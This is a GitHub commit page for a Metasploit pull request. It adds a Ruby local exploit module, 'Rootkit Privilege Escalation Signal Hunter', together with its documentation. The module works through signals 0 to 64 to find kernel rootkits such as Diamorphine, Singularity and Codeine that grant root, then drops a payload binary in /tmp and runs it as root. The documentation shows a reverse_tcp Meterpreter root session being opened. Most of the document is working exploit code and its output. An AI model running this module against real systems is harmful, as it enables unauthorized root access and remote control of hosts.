Skip to content

Commit 676a2ed

Browse files
committed
Add Rootkit Privilege Escalation Signal Hunter
1 parent 52b7f1f commit 676a2ed

File tree

2 files changed

+193
-100
lines changed

2 files changed

+193
-100
lines changed
Lines changed: 63 additions & 49 deletions
Original file line numberDiff line numberDiff line change
@@ -1,66 +1,80 @@
11
## Vulnerable Application
22

3-
[Diamorphine](https://github.com/m0nad/Diamorphine) is a Linux Kernel Module (LKM) rootkit.
3+
This module searches for rootkits which use signals to elevate
4+
process privileges to UID 0 (root).
45

5-
This module uses Diamorphine rootkit's privesc feature using signal
6-
64 to elevate the privileges of arbitrary processes to UID 0 (root).
6+
Some rootkits install signal handlers which listen for specific
7+
signals to elevate process privileges. This module identifies these
8+
rootkits by sending signals and observing UID switching to root.
79

8-
This module has been tested successfully with Diamorphine from `master`
9-
branch (2019-10-04) on Linux Mint 19 kernel 4.15.0-20-generic (x64).
10+
This module has been tested successfully with:
11+
12+
* [Singularity](https://github.com/MatheuZSecurity/Singularity) 5b6c4b6 (2025-10-19) on Ubuntu 24.04 kernel 6.14.0-33-generic (x64)
13+
* [Diamorphine](https://github.com/m0nad/Diamorphine) 2337293 (2023-09-20) on Ubuntu 22.04 kernel 5.19.0-38-generic (x64)
14+
* [Codeine](https://github.com/diego-tella/Codeine) 9644336 (2025-09-02) on Ubuntu 22.04 kernel 5.19.0-38-generic (x64)
1015

1116

1217
## Verification Steps
1318

14-
1. Start `msfconsole`
15-
2. Get a session
16-
3. `use exploit/linux/local/diamorphine_rootkit_signal_priv_esc`
17-
4. `set SESSION [SESSION]`
18-
5. `check`
19-
6. `run`
20-
7. You should get a new *root* session
19+
1. Start `msfconsole`
20+
2. Get a session
21+
3. `use exploit/linux/local/rootkit_privesc_signal_hunter`
22+
4. `set SESSION [SESSION]`
23+
5. `set PAYLOAD [PAYLOAD]`
24+
6. `check`
25+
7. `run`
26+
8. You should get a new *root* session
2127

2228

2329
## Options
2430

25-
**SIGNAL**
2631

27-
Diamorphine elevate signal. (default: `64`)
32+
### MIN_SIGNAL
2833

34+
Start at signal (default: `0`)
2935

30-
## Scenarios
36+
### MAX_SIGNAL
37+
38+
Stop at signal (default: `64`)
39+
40+
### PID
3141

32-
### Linux Mint 19 (x64)
33-
34-
```
35-
msf > use exploit/linux/local/diamorphine_rootkit_signal_priv_esc
36-
msf exploit(linux/local/diamorphine_rootkit_signal_priv_esc) > set session 1
37-
session => 1
38-
msf exploit(linux/local/diamorphine_rootkit_signal_priv_esc) > set verbose true
39-
verbose => true
40-
msf exploit(linux/local/diamorphine_rootkit_signal_priv_esc) > check
41-
42-
[*] Executing id ...
43-
uid=0(root) gid=0(root) groups=0(root),1001(test)
44-
[+] The target is vulnerable. Diamorphine is installed and configured to handle signal '64'.
45-
msf exploit(linux/local/diamorphine_rootkit_signal_priv_esc) > run
46-
47-
[*] Started reverse TCP handler on 172.16.191.165:4444
48-
[*] Executing id ...
49-
uid=0(root) gid=0(root) groups=0(root),1001(test)
50-
[*] Writing '/tmp/.hwL5UoDL6mfZ' (207 bytes) ...
51-
[*] Executing /tmp/.hwL5UoDL6mfZ & echo ...
52-
[*] Transmitting intermediate stager...(106 bytes)
53-
[*] Sending stage (985320 bytes) to 172.16.191.228
54-
[*] Meterpreter session 2 opened (172.16.191.165:4444 -> 172.16.191.228:47694) at 2020-02-16 09:28:59 -0500
55-
56-
meterpreter > getuid
57-
Server username: uid=0, gid=0, euid=0, egid=0
58-
meterpreter > sysinfo
59-
Computer : 172.16.191.228
60-
OS : LinuxMint 19 (Linux 4.15.0-20-generic)
61-
Architecture : x64
62-
BuildTuple : i486-linux-musl
63-
Meterpreter : x86/linux
64-
meterpreter >
65-
```
42+
Process ID to send signals to (leave blank to spawn a new process) (default: blank)
43+
44+
45+
## Scenarios
6646

47+
### Singularity 5b6c4b6 (2025-10-19) on Ubuntu 24.04 kernel 6.14.0-33-generic (x64)
48+
49+
```
50+
msf > use exploit/linux/local/rootkit_privesc_signal_hunter
51+
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
52+
msf exploit(linux/local/rootkit_privesc_signal_hunter) > set session -1
53+
session => -1
54+
msf exploit(linux/local/rootkit_privesc_signal_hunter) > set payload linux/x64/meterpreter/reverse_tcp
55+
payload => linux/x64/meterpreter/reverse_tcp
56+
msf exploit(linux/local/rootkit_privesc_signal_hunter) > set lhost 192.168.200.130
57+
lhost => 192.168.200.130
58+
msf exploit(linux/local/rootkit_privesc_signal_hunter) > set lport 4444
59+
lport => 4444
60+
msf exploit(linux/local/rootkit_privesc_signal_hunter) > check
61+
[+] The target is vulnerable. Rootkit(s) are installed and configured to elevate privileges for signals.
62+
msf exploit(linux/local/rootkit_privesc_signal_hunter) > run
63+
[*] Started reverse TCP handler on 192.168.200.130:4444
64+
[*] Trying signals 0 to 64 (PID: $$) ...
65+
[+] Found 1 signals for privilege escalation (59).
66+
[*] Writing '/tmp/.9Z5PXuL7yw' (250 bytes) ...
67+
[*] Trying signal 59 ...
68+
[*] Sending stage (3090404 bytes) to 192.168.200.139
69+
[+] Deleted /tmp/.9Z5PXuL7yw
70+
[*] Meterpreter session 2 opened (192.168.200.130:4444 -> 192.168.200.139:41588) at 2025-10-23 11:18:25 -0400
71+
72+
meterpreter > getuid
73+
Server username: root
74+
meterpreter > sysinfo
75+
Computer : 192.168.200.139
76+
OS : Ubuntu 24.04 (Linux 6.14.0-33-generic)
77+
Architecture : x64
78+
BuildTuple : x86_64-linux-musl
79+
Meterpreter : x64/linux
80+
```

modules/exploits/linux/local/rootkit_privesc_signal_hunter.rb

Lines changed: 130 additions & 51 deletions
Original file line numberDiff line numberDiff line change
@@ -4,105 +4,184 @@
44
##
55

66
class MetasploitModule < Msf::Exploit::Local
7-
Rank = ExcellentRanking
7+
Rank = GreatRanking
88

99
include Msf::Post::File
1010
include Msf::Post::Linux::Priv
1111
include Msf::Post::Linux::System
1212
include Msf::Exploit::EXE
1313
include Msf::Exploit::FileDropper
14-
prepend Msf::Exploit::Remote::AutoCheck
14+
include Msf::Exploit::Deprecated
15+
16+
moved_from 'exploit/linux/local/diamorphine_rootkit_signal_priv_esc'
1517

1618
def initialize(info = {})
1719
super(
1820
update_info(
1921
info,
20-
'Name' => 'Diamorphine Rootkit Signal Privilege Escalation',
22+
'Name' => 'Rootkit Privilege Escalation Signal Hunter',
2123
'Description' => %q{
22-
This module uses Diamorphine rootkit's privesc feature using signal
23-
64 to elevate the privileges of arbitrary processes to UID 0 (root).
24+
This module searches for rootkits which use signals to elevate
25+
process privileges to UID 0 (root).
26+
27+
Some rootkits install signal handlers which listen for specific
28+
signals to elevate process privileges. This module identifies these
29+
rootkits by sending signals and observing UID switching to root.
30+
31+
This module has been tested successfully with:
2432
25-
This module has been tested successfully with Diamorphine from `master`
26-
branch (2019-10-04) on Linux Mint 19 kernel 4.15.0-20-generic (x64).
33+
Singularity 5b6c4b6 (2025-10-19) on Ubuntu 24.04
34+
kernel 6.14.0-33-generic (x64);
35+
Diamorphine 2337293 (2023-09-20) on Ubuntu 22.04
36+
kernel 5.19.0-38-generic (x64);
37+
Codeine 9644336 (2025-09-02) on Ubuntu 22.04
38+
kernel 5.19.0-38-generic (x64).
2739
},
2840
'License' => MSF_LICENSE,
29-
'Author' => [
30-
'm0nad', # Diamorphine
31-
'bcoles' # Metasploit
32-
],
41+
'Author' => 'bcoles',
42+
# Diamorphine rootkit first publicly documented use of signals for process privesc?
3343
'DisclosureDate' => '2013-11-07', # Diamorphine first public commit
3444
'References' => [
35-
['URL', 'https://github.com/m0nad/Diamorphine']
45+
['URL', 'https://github.com/bcoles/rootkit-signal-hunter'],
46+
['URL', 'https://xcellerator.github.io/posts/linux_rootkits_03/'],
47+
['URL', 'https://github.com/m0nad/Diamorphine'],
48+
['URL', 'https://github.com/h3xduck/Umbra'],
49+
['URL', 'https://github.com/diego-tella/Codeine'],
50+
['URL', 'https://github.com/MatheuZSecurity/Singularity'],
51+
['URL', 'https://github.com/Asekon/RootKit'],
3652
],
3753
'Platform' => ['linux'],
38-
'Arch' => [ARCH_X86, ARCH_X64],
54+
'Arch' => [
55+
ARCH_X86,
56+
ARCH_X64,
57+
ARCH_ARMLE,
58+
ARCH_AARCH64,
59+
ARCH_RISCV64LE,
60+
ARCH_RISCV32LE,
61+
ARCH_PPC,
62+
ARCH_MIPSLE,
63+
ARCH_MIPSBE
64+
],
3965
'SessionTypes' => ['shell', 'meterpreter'],
4066
'Targets' => [['Auto', {}]],
4167
'Notes' => {
4268
'Reliability' => [ REPEATABLE_SESSION ],
43-
'Stability' => [ CRASH_SAFE ],
44-
'SideEffects' => UNKNOWN_SIDE_EFFECTS
69+
'Stability' => [
70+
CRASH_OS_DOWN, # Poorly designed rootkits may crash
71+
],
72+
'SideEffects' => [
73+
ARTIFACTS_ON_DISK,
74+
SCREEN_EFFECTS, # Killing processes may spawn crash handler windows
75+
]
4576
},
77+
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },
4678
'DefaultTarget' => 0
4779
)
4880
)
49-
register_options [
50-
OptInt.new('SIGNAL', [true, 'Diamorphine elevate signal', 64])
51-
]
52-
register_advanced_options [
81+
register_options([
82+
OptInt.new('MIN_SIGNAL', [true, 'Start at signal', 0]),
83+
OptInt.new('MAX_SIGNAL', [true, 'Stop at signal', 64]),
84+
OptString.new('PID', [false, 'Process ID to send signals to (leave blank to spawn a new process)', ''])
85+
])
86+
register_advanced_options([
5387
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
54-
]
55-
end
56-
57-
def signal
58-
datastore['SIGNAL'].to_s
88+
])
5989
end
6090

6191
def base_dir
6292
datastore['WritableDir'].to_s
6393
end
6494

65-
def upload_and_chmodx(path, data)
66-
print_status "Writing '#{path}' (#{data.size} bytes) ..."
67-
write_file path, data
68-
chmod path, 0755
69-
end
95+
def cmd_exec_elevated(signal, cmd, pid)
96+
vprint_status("Executing '#{cmd}' with signal #{signal} (PID: #{pid}) ...")
97+
98+
# NOTE: cleanup of hung processes will fail on non-POSIX shells (ie, fish)
99+
# due to using "$!" which is not supported
100+
res = cmd_exec(
101+
%(sh -c 'kill -#{signal} #{pid}; #{cmd}' 2>/dev/null & pid=$!; sleep 0.1; kill -CONT "$pid" 2>/dev/null; wait "$pid"),
102+
nil,
103+
5
104+
).to_s
105+
vprint_line(res) unless res.blank?
70106

71-
def cmd_exec_elevated(cmd)
72-
vprint_status "Executing #{cmd} ..."
73-
res = cmd_exec("sh -c 'kill -#{signal} $$ && #{cmd}'").to_s
74-
vprint_line res unless res.blank?
75107
res
76108
end
77109

78110
def check
79-
res = cmd_exec_elevated 'id'
111+
return CheckCode::Unknown('Session already has root privileges') if is_root?
112+
113+
# NOTE: this will fail on non-POSIX shells (ie, fish)
114+
# due to using "$$" which is not supported
115+
pid = datastore['PID'].downcase.blank? ? '\$$' : datastore['PID']
116+
117+
# Iterate from MIN to MAX sending each signal to PID.
118+
#
119+
# SIGCONT if the process hangs.
120+
# Note: cleanup of hung processes will fail on non-POSIX shells (ie, fish)
121+
# due to using "$!" which is not supported
122+
cmd = [
123+
"i=#{datastore['MIN_SIGNAL']}",
124+
%(while [ "$i" -le #{datastore['MAX_SIGNAL']} ]),
125+
%(do sh -c "kill -$i #{pid}; id" 2>/dev/null & pid=$!),
126+
'sleep 0.1; kill -CONT "$pid" 2>/dev/null',
127+
'wait "$pid"',
128+
'i=$((i + 1))',
129+
'done 2>/dev/null'
130+
].join('; ')
131+
132+
res = cmd_exec(
133+
cmd,
134+
nil,
135+
60
136+
)
137+
vprint_line(res) unless res.blank?
80138

81-
if res.include?('invalid signal')
82-
return CheckCode::Safe("Signal '#{signal}' is invalid")
83-
end
139+
return CheckCode::Safe('No rootkits detected') unless res.to_s.include?('uid=0')
140+
141+
CheckCode::Vulnerable('Rootkit(s) are installed and configured to elevate privileges for signals.')
142+
end
84143

85-
unless res.include?('uid=0')
86-
return CheckCode::Safe("Diamorphine is not installed, or incorrect signal '#{signal}'")
144+
# @return Array of signals which can be used to elevate privileges to root
145+
def brute_signals(min, max, pid)
146+
print_status("Trying signals #{min} to #{max} (PID: #{pid}) ...")
147+
signals = []
148+
149+
(min..max).each do |signal|
150+
signals << signal if cmd_exec_elevated(signal, 'id', pid).to_s.include?('uid=0')
87151
end
88152

89-
CheckCode::Vulnerable("Diamorphine is installed and configured to handle signal '#{signal}'.")
153+
signals
90154
end
91155

92156
def exploit
93-
if !datastore['ForceExploit'] && is_root?
94-
fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
95-
end
157+
fail_with(Failure::BadConfig, 'Session already has root privileges.') if is_root?
158+
fail_with(Failure::BadConfig, "Start signal (#{datastore['MIN_SIGNAL']}) is greater than stop signal (#{datastore['MAX_SIGNAL']}); nothing to iterate.") if datastore['MIN_SIGNAL'] > datastore['MAX_SIGNAL']
159+
fail_with(Failure::BadConfig, "#{base_dir} is not writable") unless writable?(base_dir)
160+
161+
pid = datastore['PID'].downcase.blank? ? '$$' : datastore['PID']
162+
signals = brute_signals(
163+
datastore['MIN_SIGNAL'],
164+
datastore['MAX_SIGNAL'],
165+
pid
166+
)
96167

97-
unless writable? base_dir
98-
fail_with Failure::BadConfig, "#{base_dir} is not writable"
99-
end
168+
fail_with(Failure::NotVulnerable, 'No rootkits detected') if signals.blank?
100169

101-
payload_name = ".#{rand_text_alphanumeric 8..12}"
102-
payload_path = "#{base_dir}/#{payload_name}"
103-
upload_and_chmodx payload_path, generate_payload_exe
104-
register_file_for_cleanup payload_path
170+
print_good("Found #{signals.size} signals for privilege escalation (#{signals.join(', ')}).")
105171

106-
cmd_exec_elevated "#{payload_path} & echo "
172+
payload_name = ".#{rand_text_alphanumeric(8..12)}"
173+
payload_path = "#{base_dir}/#{payload_name}"
174+
payload_data = generate_payload_exe
175+
print_status("Writing '#{payload_path}' (#{payload_data.size} bytes) ...")
176+
write_file(payload_path, payload_data)
177+
chmod(payload_path, 0o755)
178+
register_file_for_cleanup(payload_path)
179+
180+
signals.each do |signal|
181+
print_status("Trying signal #{signal} ...")
182+
cmd_exec_elevated(signal, "#{payload_path} & echo ", pid)
183+
sleep(5)
184+
break if session_created?
185+
end
107186
end
108187
end

0 commit comments

Comments
 (0)